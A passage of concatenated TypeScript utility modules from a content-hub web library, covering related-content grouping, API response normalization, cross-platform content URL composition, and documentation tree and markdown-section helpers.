= FAQ_ITEM_HASH_RE.exec(trimmed)\n  if (itemMatch) return { kind: 'item', rawId: itemMatch[1] }\n  if (trimmed.startsWith('faq-')) return { kind: 'section', slug: trimmed }\n  return null\n}\n","/**\n * Content Ref Group Configuration\n *\n * Single source of truth for grouping content_refs by type. Used by both:\n *  - components/related-content (detail page rail — lives in this lib)\n *  - the hub's lib/utils/investor-email-utils.ts (email builder, via the\n *    hub's re-export shim at lib/config/content-ref-groups.ts)\n *\n * Lives in utils/ (server-safe tsup block) so hub server-side code can\n * import it.\n *\n * Each entry carries the metadata RelatedContentSection needs to render the\n * group WITHOUT re-implementing per-type logic locally:\n *   - `label`: section heading.\n *   - `order`: source-stable ordering (lowest first).\n *   - `layout`: 'list' (one-per-row, full-width cards) or 'grid' (responsive\n *     column grid).\n *   - `gridSize`: card-size variant passed to the per-type card dispatch.\n *     `'lg'` matches the canonical large-card variant openframe + flamingo\n *     apps already use; `'default'` is the legacy denser variant. New types\n *     should pick `'lg'` whenever the card has a large variant.\n *\n * Adding a new content type = one entry here. RelatedContentSection picks up\n * the new group automatically (no hardcoded set to update). NOTE: the hub's\n * related-content SUGGESTION candidate list is DERIVED from these keys (minus\n * an explicit exclusion knob) — a new entry here becomes a suggestion\n * candidate iff it also resolves through the hub's TYPE_TO_ENTITY → RAG\n * config chain (unresolvable entries are dropped loudly at module load).\n */\n\nexport type ContentRefLayout = 'list' | 'grid'\n\n/** Subset of `EntityCardSize` (entity-card dispatch) appropriate for\n *  grid/list rendering in RelatedContentSection. Duplicated as a literal\n *  union here to avoid a config→component import cycle. Kept in lockstep\n *  with `EntityCardSize`; widen here when a new size is added there. */\nexport type ContentRefGridSize = 'lg' | 'default' | 'sm'\n\nexport interface ContentRefGroupConfig {\n  label: string\n  order: number\n  layout: ContentRefLayout\n  gridSize: ContentRefGridSize\n}\n\nexport const CONTENT_REF_GROUPS: Record<string, ContentRefGroupConfig> = {\n  investor_update:     { label: 'Investor Updates',    order: 1, layout: 'grid', gridSize: 'default' },\n  product_release:     { label: 'Product Releases',    order: 2, layout: 'list', gridSize: 'lg' },\n  podcast:             { label: 'Podcasts',            order: 3, layout: 'list', gridSize: 'default' },\n  webinar:             { label: 'Webinars',            order: 4, layout: 'list', gridSize: 'default' },\n  case_study:          { label: 'Case Studies',        order: 5, layout: 'grid', gridSize: 'default' },\n  event:               { label: 'Events',              order: 6, layout: 'list', gridSize: 'default' },\n  blog_post_existing:  { label: 'Blog Posts',          order: 7, layout: 'grid', gridSize: 'default' },\n  customer_interview:  { label: 'Customer Interviews', order: 8, layout: 'grid', gridSize: 'default' },\n  onboarding_guide:    { label: 'Onboarding Guides',   order: 9, layout: 'list', gridSize: 'default' },\n  what_i_shipped:      { label: 'What I Shipped',      order: 10, layout: 'grid', gridSize: 'default' },\n  how_i_work:          { label: 'How I Work',          order: 11, layout: 'grid', gridSize: 'default' },\n}\n\n/** Human-readable label for a content_ref `type`. Returns null when the type\n *  isn't registered — caller decides the fallback. Use `getContentRefLabelOrTitleCase`\n *  to get a consistent title-cased fallback across all surfaces. */\nexport function getContentRefLabel(type: string): string | null {\n  return CONTENT_REF_GROUPS[type]?.label ?? null\n}\n\n/** Resolved label with a single shared fallback shape — title-cased version\n *  of the raw type string for any unregistered type. Both RelatedContentSection\n *  AND the investor-email builder consume this so cross-surface label rendering\n *  for unregistered types is identical (no drift between \"podcast guest\" and\n *  \"Podcast Guest\"). */\nexport function getContentRefLabelOrTitleCase(type: string): string {\n  return (\n    CONTENT_REF_GROUPS[type]?.label ??\n    type.replace(/_/g, ' ').replace(/\\b\\w/g, (ch) => ch.toUpperCase())\n  )\n}\n\n/** Sort a set of present content_ref types into the canonical group order\n *  (registered types first in CONTENT_REF_GROUPS `order`, then unregistered\n *  types appended in insertion order). Used by RelatedContentSection AND the\n *  investor-email builder so cross-surface ordering stays identical. */\nexport function orderContentRefTypes(present: Iterable<string>): string[] {\n  const presentSet = new Set(present)\n  const registeredInOrder = Object.entries(CONTENT_REF_GROUPS)\n    .sort(([, a], [, b]) => a.order - b.order)\n    .map(([type]) => type)\n    .filter((type) => presentSet.has(type))\n  const unregistered = [...presentSet].filter((type) => !CONTENT_REF_GROUPS[type])\n  return [...registeredInOrder, ...unregistered]\n}\n","/**\n * List-API response normalizers — HOISTED from\n * `components/chat/hooks/use-chat-card-item.ts` (private copies) so the\n * related-content rail can import them WITHOUT touching the chat hooks\n * chunk (which reaches `@tanstack/react-query`). Pure + server-safe.\n *\n * The hub's `lib/utils/entity-list-api.ts` re-exports these — one\n * implementation of response-shape normalization across both repos.\n */\n\n/** Extract the items array from each endpoint's response shape (some\n *  return `{ items }`, others `{ posts }`, etc.). Single normalization\n *  point — callers always read `Item[]`. */\nexport function extractItems(data: unknown): unknown[] {\n  if (!data || typeof data !== 'object') return []\n  const obj = data as Record<string, unknown>\n  if (Array.isArray(obj.items)) return obj.items\n  if (Array.isArray(obj.posts)) return obj.posts\n  if (Array.isArray(obj.campaigns)) return obj.campaigns\n  if (Array.isArray(obj.faqs)) return obj.faqs\n  if (Array.isArray(obj.completed) || Array.isArray(obj.inProgress)) {\n    // Delivery endpoint splits into completed/inProgress arrays — flatten.\n    const completed = Array.isArray(obj.completed) ? obj.completed : []\n    const inProgress = Array.isArray(obj.inProgress) ? obj.inProgress : []\n    return [...completed, ...inProgress]\n  }\n  if (Array.isArray(obj.data)) return obj.data\n  if (Array.isArray(data)) return data\n  return []\n}\n\n/** Extract a stable id from a fetched item — different shapes use\n *  `id` vs `external_id`. Used by the chat loader to match the fetched\n *  array element back to the marker's id. */\nexport function extractItemId(type: string, item: unknown): string | null {\n  if (!item || typeof item !== 'object') return null\n  const obj = item as Record<string, unknown>\n  if (type === 'roadmap_item' || type === 'delivery_item' || type === 'internal_task') {\n    const ext = obj.external_id\n    if (typeof ext === 'string') return ext\n  }\n  // RoadmapItem-shaped responses use `id` to carry the external_id; the\n  // mapper renames external_id→id at the API boundary. Treat both id and\n  // external_id as primary-key candidates for these clickup-backed types.\n  const id = obj.id\n  if (typeof id === 'string') return id\n  if (typeof id === 'number') return String(id)\n  return null\n}\n","/**\n * Shared fetch-URL composer for the two suggestion sections (FaqSection +\n * RelatedContentSection) — ONE owner of the entityType/entityId/count query\n * shape so the sections can never drift. Pure + server-safe.\n *\n * Byte-parity contract with the original `buildFaqsUrl`: when only\n * entityType/entityId are set, the param order is `entityType`, `entityId`;\n * with nothing set, the bare `path` is returned (no `?`).\n */\nexport interface SuggestionUrlOptions {\n  /** Fetch-URL prefix for third-party embeds / reverse proxies\n   *  ('' = same-origin relative). */\n  apiBaseUrl?: string\n  /** Both required together for entity scope; partial → bare path. */\n  entityType?: string\n  entityId?: number | string\n  /** Maps to the server's `count` param. Undefined → param not sent\n   *  (server default applies). */\n  count?: number\n  /** Extra query params appended after the shared trio (e.g. the\n   *  related-content `excludeTypes` deny-list). Empty/undefined values\n   *  are skipped. */\n  extraParams?: Record<string, string | undefined>\n}\n\nexport function buildSuggestionUrl(path: string, opts: SuggestionUrlOptions = {}): string {\n  const qs = new URLSearchParams()\n  const { entityType, entityId } = opts\n  if (entityType && entityId !== undefined && entityId !== null && entityId !== '') {\n    qs.set('entityType', entityType)\n    qs.set('entityId', String(entityId))\n  }\n  if (opts.count !== undefined) qs.set('count', String(opts.count))\n  for (const [key, value] of Object.entries(opts.extraParams ?? {})) {\n    if (value !== undefined && value !== '') qs.set(key, value)\n  }\n  const query = qs.toString()\n  return `${opts.apiBaseUrl ?? ''}${path}${query ? `?${query}` : ''}`\n}\n","/**\n * The SINGLE content-href authority for every embeddable surface — the\n * `ChatRuntime.composeContentUrl` seam. Page views (onboarding catalog/detail,\n * product releases) AND chat surfaces (entity cards, source chips, search\n * results) all resolve a content link through this one function, so a given\n * content type lands in the SAME place no matter where it's rendered.\n *\n * ## Why this exists\n *\n * Before unification there were two link builders: `composeContentUrl` (pages)\n * and `resolveSourceRowCTA` (chat), and only the former honored the embedder's\n * in-app routing config — so the same `product_release` soft-navigated in-app on\n * the releases page but opened OUT to the hub as a chat card. Now `resolveSource-\n * RowCTA` delegates its href to this seam, so one config (`hostedTypes` /\n * `overrides`) governs internal-vs-external for pages and chat alike.\n *\n * `makeComposeContentUrl` builds the embedder default from a small config: the\n * set of types THIS host serves in-app (→ relative href, soft-navigates) vs.\n * everything else (→ the canonical hub URL, opens out). The hub wires its own\n * composer (`composeContentUrlFromPlatforms` — cross-platform topology) to the\n * same seam. Pure + server-safe (no React, no browser APIs).\n *\n *   composeContentUrl: makeComposeContentUrl({\n *     hostedTypes: new Set(['onboarding_guide', 'product_release']),\n *     contentOrigin: VITE_HUB_ORIGIN,\n *   })\n */\n\nimport { canonicalContentRefType } from './list-url'\nimport { byKey, getPlatformProductionUrl } from '../platform-domains'\n\n/**\n * Type → in-app route suffix. The public-hostable subset of the hub's\n * `PUBLIC_URL_PATHS` (`lib/utils/content-url-builder.ts`); the hub keeps\n * its own copy, this is the embedder default and must stay in sync. (The\n * cross-repo boundary makes a shared import impossible; the lib test pins this\n * constant against a literal copy of itself, so it does NOT detect hub-side\n * drift — values match today and are kept aligned by hand.)\n */\nexport const DEFAULT_CONTENT_SUFFIXES: Record<string, string> = {\n  onboarding_guide: 'onboarding-guides',\n  product_release: 'releases',\n  blog_post: 'blog',\n  case_study: 'case-studies',\n  customer_interview: 'interviews',\n  investor_update: 'investor-updates',\n  webinar: 'webinars',\n  podcast: 'podcasts',\n  event: 'events',\n  // Author profile pages (`/authors/<slug>`) — identified by the profile\n  // slug. Mirrors the hub's `PUBLIC_URL_PATHS.author`, which derives from\n  // `AUTHORS_PATH` in the hub's `lib/utils/breadcrumbs.ts` (the hub-side\n  // SSOT for the segment).\n  author: 'authors',\n}\n\n/** Input to the unified content-href seam. ONE object covers both callers:\n *  page views pass `type` + `identifier` (the slug); chat rows pass `type` +\n *  `identifier` (the primary-key id) + `externalUrl` (the canonical hub URL,\n *  from which the slug is recovered for in-app routing). */\nexport interface ComposeContentUrlInput {\n  /** The content's CANONICAL documentType (e.g. `'product_release'`,\n   *  `'blog_post'`).\n   *\n   *  Rail-vocab aliases (`'blog_post_existing'`) must be canonicalized by the\n   *  caller via `canonicalContentRefType` BEFORE they reach the seam: a host\n   *  writes its `hostedTypes` / `suffixes` / `overrides` against the canonical\n   *  vocabulary, so an alias silently misses every one of them and falls\n   *  through to the default `<contentOrigin>/<type>/<id>` branch — which is how\n   *  the same blog post reached `/blog/<slug>` from one path and\n   *  `/blog_post_existing/<slug>` from another. */\n  type: string\n  /** Content identifier. Page views pass the slug; chat rows pass the\n   *  primary-key id (the slug is recovered from `externalUrl` when hosted). */\n  identifier: string\n  /** Preferred path segment for HOSTED types when there is no `externalUrl`\n   *  to recover the slug from — the Mingo/NATS transport ships bare\n   *  `[card://type:id]` markers with no ref metadata, so a fetch-mode card\n   *  knows the row's slug only AFTER it loads the row. `identifier` must stay\n   *  the primary key (that is what `overrides` deep-link on), hence a separate\n   *  field rather than overloading it. Ignored for non-hosted types. */\n  slug?: string | null\n  /** Hydrated platform junction from the list APIs. `hostedTypes` membership\n   *  still decides in-app vs out; this decides WHICH origin an out-link points\n   *  at — an OpenMSP-owned row resolves to openmsp.ai, not to the embedder's\n   *  `contentOrigin`. Read only when `targetPlatform` is absent. Accepts the\n   *  three junction shapes the DALs produce (see `primaryPlatformOf`). */\n  platforms?: Array<{ name?: string }>\n  /** The canonical hub URL when the caller already has it (chat entity rows\n   *  carry it from the RAG mapper). Hosted types relativize it to an in-app\n   *  path; non-hosted types use it verbatim (authoritative). Absent for pages. */\n  externalUrl?: string | null\n  /** Platform that owns `externalUrl` (chat rows). Passed through on the\n   *  non-hosted branch. */\n  targetPlatform?: string | null\n}\n\nexport interface ContentHrefOptions {\n  /** Types THIS host serves in-app → relative href (soft-nav). Everything\n   *  else resolves to the row's `externalUrl` / `contentOrigin` (opens out). */\n  hostedTypes: ReadonlySet<string>\n  /** Fallback origin for non-hosted types with no `externalUrl` AND no\n   *  resolvable owning platform (e.g. `https://openframe.app`). When the row\n   *  DOES name its platform, that platform's canonical origin wins — otherwise\n   *  cross-platform content (an OpenMSP blog post) would be linked to the\n   *  wrong site. */\n  contentOrigin: string\n  /** Per-type route suffix. Defaults to {@link DEFAULT_CONTENT_SUFFIXES}. */\n  suffixes?: Record<string, string>\n  /** Per-type full override — wins over the suffix logic. Receives the same\n   *  `identifier` the seam was called with. */\n  overrides?: Record<string, (identifier: string) => { href: string; targetPlatform: string | null }>\n}\n\n/** The unified `composeContentUrl` seam shape on `ChatRuntime`. ALWAYS returns\n *  a tuple (never null) — the seam type is non-nullable and callers read\n *  `.href` unconditionally. */\nexport type ComposeContentUrl = (\n  input: ComposeContentUrlInput,\n) => { href: string; targetPlatform: string | null }\n\n/**\n * Owning platform of a content row, from the hydrated junction the list APIs\n * return. Mirrors the hub's `extractPrimaryPlatform` (`lib/utils/content-url-\n * builder.ts`): the same junction arrives in three shapes depending on which\n * DAL produced it, so all three are read.\n *\n *   1. `{ platforms: { name } }`  — raw Supabase row (rag-mappers)\n *   2. `{ platform_name }`        — legacy pre-flattened admin endpoints\n *   3. `{ name }`                 — modern flattened shape (blog / case-study utils)\n *\n * Returns the FIRST resolvable name; `null` when the junction is absent or\n * carries no usable platform (caller then falls back to `contentOrigin`).\n */\nfunction primaryPlatformOf(\n  platforms: ComposeContentUrlInput['platforms'],\n): string | null {\n  if (!Array.isArray(platforms)) return null\n  for (const entry of platforms) {\n    const row = entry as {\n      name?: unknown\n      platform_name?: unknown\n      platforms?: { name?: unknown }\n    }\n    const name = row?.platforms?.name ?? row?.platform_name ?? row?.name\n    if (typeof name === 'string' && name.trim()) return name.trim()\n  }\n  return null\n}\n\n/** Last non-empty path segment of a URL (relative or absolute) — the content\n *  slug of a canonical detail URL like `https://hub/releases/my-release`.\n *  Returns `null` on a malformed URL or empty path. */\nfunction lastPathSegment(url: string): string | null {\n  try {\n    // Resolve against a dummy base so relative inputs parse too.\n    const pathname = new URL(url, 'https://_.local').pathname\n    const segs = pathname.split('/').filter(Boolean)\n    return segs.length > 0 ? segs[segs.length - 1] : null\n  } catch {\n    return null\n  }\n}\n\n/**\n * Build the embedder's `composeContentUrl` for the unified seam.\n *\n * Resolution order (the merged rule used by BOTH page views and chat cards):\n *   1. `overrides[type]` — explicit per-type href.\n *   2. `hostedTypes.has(type)` → relative `/<suffix>/<slug>` (in-app, soft-nav).\n *      Chat rows carry the hub URL not the slug, so the slug is recovered from\n *      `externalUrl`; page views pass the slug as `identifier`.\n *   3. `externalUrl` present → use it verbatim (RAG-authoritative hub URL; the\n *      chat non-hosted case).\n *   4. else → `${contentOrigin}/<suffix>/<identifier>` (page-view non-hosted).\n *\n * In-vs-out is decided by `hostedTypes` membership — NOT platform equality,\n * since an embedder has a free-form `source`. The `platforms` arg is part of the\n * seam signature but unused here.\n */\nexport function makeComposeContentUrl(opts: ContentHrefOptions): ComposeContentUrl {\n  const suffixes = opts.suffixes ?? DEFAULT_CONTENT_SUFFIXES\n  return ({\n    type: rawType,\n    identifier,\n    slug: slugHint,\n    externalUrl,\n    targetPlatform,\n    platforms,\n  }) => {\n    // Defence in depth: callers are expected to hand over a canonical\n    // documentType (see `ComposeContentUrlInput.type`), but a stray alias must\n    // not silently produce a `<origin>/blog_post_existing/<slug>` URL. Same\n    // canonicalizer `buildListUrl` uses — one alias table, both paths.\n    const type = canonicalContentRefType(rawType)\n    const override =\n      opts.overrides && Object.prototype.hasOwnProperty.call(opts.overrides, type)\n        ? opts.overrides[type]\n        : undefined\n    if (override) return override(identifier)\n\n    const seg =\n      (Object.prototype.hasOwnProperty.call(suffixes, type) ? suffixes[type] : undefined) ?? type\n\n    if (opts.hostedTypes.has(type)) {\n      // In-app (soft-nav). Recover the slug from the hub URL for chat rows;\n      // page views already pass the slug as `identifier`. Guard: if the recovered\n      // segment is the type's OWN suffix (e.g. a malformed/list externalUrl like\n      // `https://hub/releases/` → `'releases'`), fall back to `identifier` instead\n      // of emitting a nonsensical `/releases/releases`.\n      //\n      // `slug` (the explicit hint) sits between the two: a Mingo fetch-mode card\n      // has NO externalUrl to recover from but DOES know the row's slug once it\n      // loads, and its `identifier` must stay the primary key so `overrides`\n      // still deep-link correctly.\n      const recovered = externalUrl ? lastPathSegment(externalUrl) : null\n      const slug =\n        recovered && recovered !== seg ? recovered : (slugHint?.trim() || identifier)\n      return { href: `/${seg}/${slug}`, targetPlatform: null }\n    }\n    // Not hosted → opens out. Prefer the RAG-authoritative `externalUrl` (chat).\n    if (externalUrl) return { href: externalUrl, targetPlatform: targetPlatform ?? null }\n\n    // No externalUrl → compose it. The destination is the origin of the\n    // platform that OWNS the row, not a fixed hub: an OpenMSP blog post lives\n    // on openmsp.ai, and pinning every non-hosted type to `contentOrigin` sent\n    // it to flamingo.run (a 404 / wrong site). Owner comes from the explicit\n    // `targetPlatform`, else the hydrated platforms junction — mirroring the\n    // hub's `composeContentUrlFromPlatforms` + `extractPrimaryPlatform`.\n    // Origins resolve through the platform-domain SSOT (env override → default\n    // production URL), so a per-deploy `NEXT_PUBLIC_*_URL` is honoured here too.\n    //\n    // `contentOrigin` stays the fallback for rows with no resolvable owner and\n    // for platform names the registry doesn't know — an embedder's explicit\n    // configuration must win over the registry's flamingo default.\n    // Only a REGISTRY-RESOLVED owner counts. An unknown name (a platform the\n    // registry doesn't carry) falls back to `contentOrigin` for the href, and\n    // reporting it as the `targetPlatform` anyway made the two disagree:\n    // `decideNewTab` prefers `targetPlatform` over its origin check, so a link\n    // pointing at the CURRENT host opened in a new tab.\n    const claimedOwner = targetPlatform ?? primaryPlatformOf(platforms)\n    const owner = claimedOwner && byKey(claimedOwner) ? claimedOwner : null\n    const origin = owner ? getPlatformProductionUrl(owner) : opts.contentOrigin\n    // The hub's public detail routes are SLUG-based, so the `slug` hint wins\n    // over `identifier` here too — a Mingo fetch-mode card knows the row's slug\n    // but its `identifier` is the marker's primary key, which would 404.\n    return {\n      href: `${origin.replace(/\\/+$/, '')}/${seg}/${slugHint?.trim() || identifier}`,\n      // Report the owner so `decideNewTab` can compare it against the current\n      // app instead of falling back to an origin guess (which is unreliable in\n      // dev, where every platform shares localhost). `null` whenever the href\n      // came from `contentOrigin`, so the two never disagree.\n      targetPlatform: owner,\n    }\n  }\n}\n\n/**\n * Default href shape when `runtime.composeContentUrl` is NOT wired\n * (single-platform embedders without cross-platform topology). Shared by\n * every catalog/detail view that composes a content link (onboarding guides,\n * product releases, …) so the no-composer fallback has ONE source — both\n * views pass their `basePath`-derived shape through here.\n */\nexport function buildDefaultHref(\n  basePath: string,\n  slug: string,\n): { href: string; targetPlatform: string | null } {\n  return { href: `${basePath}/${slug}`, targetPlatform: null }\n}\n\n/**\n * Resolve a content link via the host's `composeContentUrl` when wired, else the\n * same-origin `buildDefaultHref` fallback — the exact ternary every catalog/detail page\n * VIEW repeated. Centralizes the `composeContentUrl` input shape + the fallback in one\n * place so a future input-shape change lands once, not per view.\n */\nexport function resolveContentHref(\n  composeContentUrl: ComposeContentUrl | undefined,\n  args: { type: string; slug: string; basePath: string; platforms?: ComposeContentUrlInput['platforms'] },\n): { href: string; targetPlatform: string | null } {\n  return composeContentUrl\n    ? composeContentUrl({ type: args.type, identifier: args.slug, platforms: args.platforms })\n    : buildDefaultHref(args.basePath, args.slug)\n}\n","/**\n * Pure helpers for doc-source tree navigation — shared by client hook and RSC SSR.\n * README convention (folder-index file) is configurable but defaults to 'README.md'.\n */\n\nimport type { DocNode } from '../types/doc-source'\n\n/**\n * Canonical folder-index filename. Single SSOT consumed by `doc-tree-nav`\n * pure helpers, `useDocumentTree` (default config), `DocSeoContent` (fallback\n * fetch path), and `multi-level-navigation`'s visual-selection logic. Stays\n * in canonical case here; consumers that do case-insensitive comparison\n * (the navigation) lowercase locally.\n */\nexport const DEFAULT_FOLDER_INDEX_FILE = 'README.md'\n\n/** @deprecated Re-exported under the new name; remove after consumers migrate. */\nconst DEFAULT_FOLDER_INDEX = DEFAULT_FOLDER_INDEX_FILE\n\n/**\n * Strip the folder-index filename from a path, returning the folder path.\n * For default 'README.md': 'folder/README.md' → 'folder', 'README.md' → '', 'folder/file.md' → 'folder/file.md'\n */\nexport function stripFolderIndexFromPath(\n  path: string,\n  folderIndexFile: string = DEFAULT_FOLDER_INDEX,\n): string {\n  const suffix = `/${folderIndexFile}`\n  if (path.endsWith(suffix)) return path.slice(0, -suffix.length)\n  if (path === folderIndexFile) return ''\n  return path\n}\n\nexport function findDocNodeByPath(path: string, nodes: DocNode[]): DocNode | null {\n  for (const node of nodes) {\n    if (node.path === path) return node\n    if (node.children) {\n      const found = findDocNodeByPath(path, node.children)\n      if (found) return found\n    }\n  }\n  return null\n}\n\n/**\n * Given a node path like \"folder1/subfolder2\", return DOM-style node IDs for each segment\n * (accordion sidebar — matches use-document-tree).\n */\nexport function getDocAncestorNodeIds(nodePath: string): string[] {\n  const parts = nodePath.split('/')\n  const ids: string[] = []\n  let current = ''\n  for (const part of parts) {\n    current = current ? `${current}-${part}` : part\n    ids.push(current.toLowerCase())\n  }\n  return ids\n}\n\n/**\n * Resolve which storage path to load (matches use-document-tree content effect).\n */\nexport function resolveContentFetchPath(\n  selectedPath: string,\n  structure: DocNode[],\n  folderIndexFile: string = DEFAULT_FOLDER_INDEX,\n): string | null {\n  if (selectedPath === '') {\n    return folderIndexFile\n  }\n  const node = findDocNodeByPath(selectedPath, structure)\n  if (node && node.type === 'folder' && !node.hasReadme) {\n    return null\n  }\n  let pathToFetch = selectedPath\n  if (node && node.type === 'folder' && node.hasReadme) {\n    pathToFetch = `${selectedPath}/${folderIndexFile}`\n  }\n  return pathToFetch\n}\n\nexport function getInitialExpandedNodeIds(cleanInitialPath: string): string[] {\n  if (!cleanInitialPath) return []\n  const pathForExpansion = cleanInitialPath.includes('.')\n    ? cleanInitialPath.substring(0, cleanInitialPath.lastIndexOf('/'))\n    : cleanInitialPath\n  if (!pathForExpansion) return []\n  return getDocAncestorNodeIds(pathForExpansion)\n}\n\n/**\n * When a doc source's root has no top-level folder-index file, navigate to the first\n * folder that does. Matches the historical knowledge-base default.\n */\nexport function getDocSourceDefaultPath(\n  structure: DocNode[],\n  folderIndexFile: string = DEFAULT_FOLDER_INDEX,\n): string | null {\n  if (!structure.length) return null\n  const hasRootIndex = structure.some(\n    (node) => node.type === 'file' && node.path === folderIndexFile\n  )\n  if (hasRootIndex) return null\n  // Scan ALL root nodes for the first folder with a README — not just\n  // structure[0]. Otherwise a leading non-folder root (file / folder without\n  // README) silently returns null even when a later root folder has one.\n  const firstFolderWithReadme = structure.find(\n    (node) => node.type === 'folder' && node.hasReadme && !!node.path,\n  )\n  return firstFolderWithReadme?.path ?? null\n}\n","/**\n * Shared document path utilities.\n * Single source of truth for path/slug operations used by all doc-source viewers\n * (knowledge base, data room, future).\n */\n\nimport { DEFAULT_FOLDER_INDEX_FILE } from './doc-tree-nav'\n\n/**\n * Convert a document name to a URL-safe path slug.\n * Used when creating, moving, or renaming documents.\n * e.g., \"Investor Thesis\" → \"investor-thesis\"\n */\nexport function toDocSlug(name: string): string {\n  return name.trim().toLowerCase().replace(/\\s+/g, '-')\n}\n\n/**\n * Convert a full document path to a DOM-safe node ID.\n * Used for tree node IDs and sidebar expand/collapse state.\n * e.g., \"legal/cap-table/safe.md\" → \"legal-cap-table-safe.md\"\n */\nexport function pathToNodeId(path: string): string {\n  return path.replace(/[\\/\\s]/g, '-').toLowerCase()\n}\n\n/**\n * Normalize a raw URL path from a route handler.\n * Strips folder-index suffixes (default README.md) and lowercases segments.\n * Used by both data-room and knowledge-base [...path] route handlers.\n */\nexport function normalizeDocPath(\n  segments: string[],\n  folderIndexFile: string = DEFAULT_FOLDER_INDEX_FILE,\n): string {\n  // Lowercase BOTH sides BEFORE comparison so paths from URL segments\n  // (`readme.md`) and the canonical folder-index constant (`README.md`)\n  // strip uniformly. Lowercasing only at the end (the previous shape) left\n  // lowercase URL inputs unstripped → bogus content lookups.\n  const lowerPath = (segments?.join('/') || '').toLowerCase()\n  const lowerIndex = folderIndexFile.toLowerCase()\n\n  const suffix = `/${lowerIndex}`\n  if (lowerPath.endsWith(suffix)) return lowerPath.slice(0, -suffix.length)\n  if (lowerPath === lowerIndex) return ''\n  return lowerPath\n}\n","// =============================================================================\n// Shared Document Tree Builder\n// =============================================================================\n// Generic 3-pass algorithm for building hierarchical trees from flat records.\n// Used by all doc-source DALs (openframe-docs, data-room-docs, future).\n\n/**\n * Base interface for tree nodes. Consumers extend this with additional fields.\n */\nexport interface TreeNodeBase {\n  id: string\n  name: string\n  path: string\n  type: 'file' | 'folder'\n  sortOrder?: number\n  children?: TreeNodeBase[]\n}\n\n/**\n * Format a document name for display: remove .md extension and capitalize.\n */\nexport function formatDocName(name: string): string {\n  let displayName = name\n  if (displayName.endsWith('.md')) {\n    displayName = displayName.slice(0, -3)\n  }\n  if (displayName.toLowerCase() === 'readme') {\n    return 'README'\n  }\n  return displayName.charAt(0).toUpperCase() + displayName.slice(1).replace(/-/g, ' ')\n}\n\n/**\n * Sort children: README first, then folders, then files — each group by sort_order then alphabetical.\n * Recurses into folder children to ensure consistent ordering at all levels.\n */\nexport function sortTreeChildren<TNode extends TreeNodeBase>(nodes: TNode[]): TNode[] {\n  nodes.sort((a, b) => {\n    const aIsReadme = a.name.toLowerCase() === 'readme' || a.name.toLowerCase() === 'readme.md'\n    const bIsReadme = b.name.toLowerCase() === 'readme' || b.name.toLowerCase() === 'readme.md'\n    if (aIsReadme && !bIsReadme) return -1\n    if (!aIsReadme && bIsReadme) return 1\n\n    if (a.type === 'folder' && b.type !== 'folder') return -1\n    if (a.type !== 'folder' && b.type === 'folder') return 1\n\n    const aOrder = a.sortOrder ?? Infinity\n    const bOrder = b.sortOrder ?? Infinity\n    if (aOrder !== bOrder) return aOrder - bOrder\n\n    return a.name.localeCompare(b.name, undefined, { sensitivity: 'base' })\n  })\n\n  for (const node of nodes) {\n    if (node.type === 'folder' && node.children) {\n      node.children = sortTreeChildren(node.children as TNode[])\n    }\n  }\n\n  return nodes\n}\n\n/**\n * Build a hierarchical document tree from a flat list of records.\n *\n * 3-pass algorithm:\n *   1. Create node map from flat records using the provided `mapFn`\n *   2. Build parent-child hierarchy using `getParentPath`\n *   3. Sort children (folders first, README, then others)\n */\nexport function buildDocumentTree<TNode extends TreeNodeBase, TDoc>(\n  docs: TDoc[],\n  mapFn: (doc: TDoc) => TNode,\n  getParentPath: (doc: TDoc) => string | null,\n  getPath: (doc: TDoc) => string\n): TNode[] {\n  const nodeMap = new Map<string, TNode>()\n  const rootNodes: TNode[] = []\n\n  for (const doc of docs) {\n    const node = mapFn(doc)\n    nodeMap.set(getPath(doc), node)\n  }\n\n  for (const doc of docs) {\n    const node = nodeMap.get(getPath(doc))!\n    let resolvedParentPath = getParentPath(doc)\n\n    if (!resolvedParentPath) {\n      const nodePath = getPath(doc)\n      const lastSlash = nodePath.lastIndexOf('/')\n      if (lastSlash > 0) {\n        resolvedParentPath = nodePath.substring(0, lastSlash)\n      }\n    }\n\n    if (resolvedParentPath) {\n      const parent = nodeMap.get(resolvedParentPath)\n      if (parent) {\n        // Lazily initialize `children` so callers whose `mapFn` doesn't\n        // pre-seed it still get a proper tree (previously a missing\n        // `parent.children` silently flattened the child to the root).\n        if (!parent.children) parent.children = []\n        ;(parent.children as TNode[]).push(node)\n      } else {\n        rootNodes.push(node)\n      }\n    } else {\n      rootNodes.push(node)\n    }\n  }\n\n  return sortTreeChildren(rootNodes)\n}\n","/**\n * Shared markdown section extractor\n * Extracts heading sections from markdown content for navigation.\n */\n\nimport { stripInlineMarkdown } from './markdown-to-plain'\nimport {\n  createHeadingIdDeduper,\n  scanHeadings,\n  slugifyHeadingBase,\n  stripHeadingEmojis,\n} from './markdown-heading-id'\n\nexport interface MarkdownSection {\n  id: string\n  title: string\n  level: number\n}\n\nexport interface ExtractSectionsOptions {\n  /** Maximum heading level to include (default: 2 = H1-H2) */\n  maxLevel?: number\n  /** Remove emoji characters from IDs (default: true) */\n  removeEmojis?: boolean\n  /** Handle duplicate IDs by appending a counter suffix (default: true) */\n  handleDuplicateIds?: boolean\n  /** Strip bold, italic, and inline code markers from titles (default: true) */\n  stripFormattingMarkers?: boolean\n  /** Skip code blocks and YAML frontmatter (default: true) */\n  skipCodeAndYamlBlocks?: boolean\n}\n\nconst DEFAULT_OPTIONS: Required<ExtractSectionsOptions> = {\n  maxLevel: 2,\n  removeEmojis: true,\n  handleDuplicateIds: true,\n  stripFormattingMarkers: true,\n  skipCodeAndYamlBlocks: true,\n}\n\nexport function extractSections(\n  markdown: string,\n  options: ExtractSectionsOptions = {},\n): MarkdownSection[] {\n  const opts = { ...DEFAULT_OPTIONS, ...options }\n  const sections: MarkdownSection[] = []\n  const dedupe = createHeadingIdDeduper()\n\n  // ONE scanner, shared with the renderer's heading-id map\n  // (utils/markdown-heading-id.ts). This file used to carry its own\n  // line loop — `line.startsWith('```')` for fences (blind to `~~~`, to\n  // longer backtick runs and to the CommonMark 0..3-space indent) and a\n  // bare `line === '---'` YAML toggle (which a mid-document thematic break\n  // or setext underline tripped, swallowing every heading after it). Both\n  // produced sections the renderer emitted no id for.\n  const scanned = scanHeadings(markdown, {\n    skipFrontmatter: opts.skipCodeAndYamlBlocks,\n    skipFences: opts.skipCodeAndYamlBlocks,\n  })\n\n  for (const heading of scanned) {\n    if (heading.level > opts.maxLevel) continue\n\n    let title = heading.text\n    if (opts.stripFormattingMarkers) {\n      title = stripInlineMarkdown(title).trim()\n    }\n\n    // Slug chain SSOT — shared with the renderers' heading-id generator\n    // (see utils/markdown-heading-id.ts). Extractor and renderers MUST\n    // 